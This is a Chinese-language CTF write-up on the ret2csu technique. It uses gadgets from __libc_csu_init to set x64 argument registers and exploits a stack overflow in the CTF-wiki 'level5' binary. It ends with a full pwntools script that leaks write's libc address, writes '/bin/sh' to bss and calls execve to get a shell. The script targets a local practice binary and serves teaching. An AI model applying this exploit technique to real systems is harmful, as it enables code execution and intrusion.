原理

在64位程序中,函数的前6个参数通过寄存器传递

这就需要我们通过gadgets操作寄存器,但是我们很难找到每个寄存器对应的gadgets。

这时,我们可以利用x64下的__libc_csu_init中的gadgets。

这个函数是用来对libc进行初始化操作的,而一般程序都会调用libc。

Linux函数调用中:

  • 前6个参数**从左向右依次放入rdi,rsi,rdx,rcx,r8,r9。

  • 超出6个的参数从右向左放入中。

例子

这里使用ctf wiki上的一个例题(点我下载)

checksec查看保护

aa9.png

查看保护发现开启了NX保护,是64位程序

IDA分析

read.png

发现有一个read函数,存在栈溢出漏洞

没有其它函数信息,也没有system和/bin/sh。

这就需要我们自己构造system和/bin/sh

寻找gadgets

csu.png

同时寻找6个寄存器的gadgets比较困难,这个程序使用了libc

我们可以去__libc_csu_init函数寻找gadgets

从0x040061A——0x0400622,我们可以控制寄存器rbx、rbp、r12、r13、r14、r15的数据。

从0x0400600——0x0400609我们可以:

  • 将r13的值赋给rdx
  • 将r14的值赋值给rsi
    • 将r15d赋值给edi(只能控制rdi寄存器的低32位,本程序rdi的高32位为0)

这三个寄存器是参数传递前三个寄存器

我们能够控制r13、r14、r15,也就能间接控制rdx、rsi、edi

除去这些寄存器,rbx、rbp和r12也可以根据需要被我们合理利用。

除此之外,发现0x40060D——0x400614部分,进行条件跳转

如果 rbx + 1 != rbp 就跳转,不执行下面的代码。

我们可以控制rbp和rbx的关系,让它不跳转,可以设置rbx = 0, rbp = 1

剩下的rbxr12可以用来控制call命令

构造思路

csu函数的执行流程:

  • 填充垃圾字符

    • 跳转到csu_end_addr处执行
  • 将栈上的数据压入对应的寄存器(rbx、rbp、r12、r13、r14、r15)

    • ret指令跳转到csu_start_addr处执行
  • 将数据写入rdx、rsi、edi(前三个参数的寄存器)

    • 调用地址为r12 + rbx * 8的函数
  • 填充垃圾字符(平衡堆栈)

    • ret指令返回last。

三次构造payload进行注入:

0.获取bss基地址、main函数地址、read和write函数的got表地址

1.第一次构造:

利用gadgets泄露write的真实地址

2.第二次构造:

bss段写入**/bin/sh**字符串。

3.第三个构造:

执行**execve(‘/bin/sh’)**。

编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from LibcSearcher import *

context(os = 'linux', arch = 'amd64', log_level = 'debug')

p = process('./level5')
level5 = ELF('./level5')

bss_base = level5.bss()
main = level5.symbols['main']
read_got = level5.got['read']
write_got = level5.got['write']
csu_start_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A

def csu(rbx, rbp, r12, r13, r14, r15, last):
#rbx = 0, rbp = 1;
payload = 0x80 * b'a' + 8 * b'a'
payload += p64(csu_end_addr)
payload += flat([rbx, rbp, r12, r13, r14, r15])
payload += p64(csu_start_addr)
payload += 56 * b'a'
payload += p64(last)

p.send(payload)
sleep(1)
#write write addr
p.recvuntil('Hello, World\n')
csu(0, 1, write_got, 8, write_got, 1, main)

#get system address
write_addr = u64(p.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('execve')

#write system and binsh to bss
p.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main)
p.send(p64(system_addr) + b'/bin/sh\x00')

#run system and binsh
p.recvuntil('Hello, World\n')
csu(0, 1, bss_base, 0, 0, bss_base + 8, main)

p.interactive()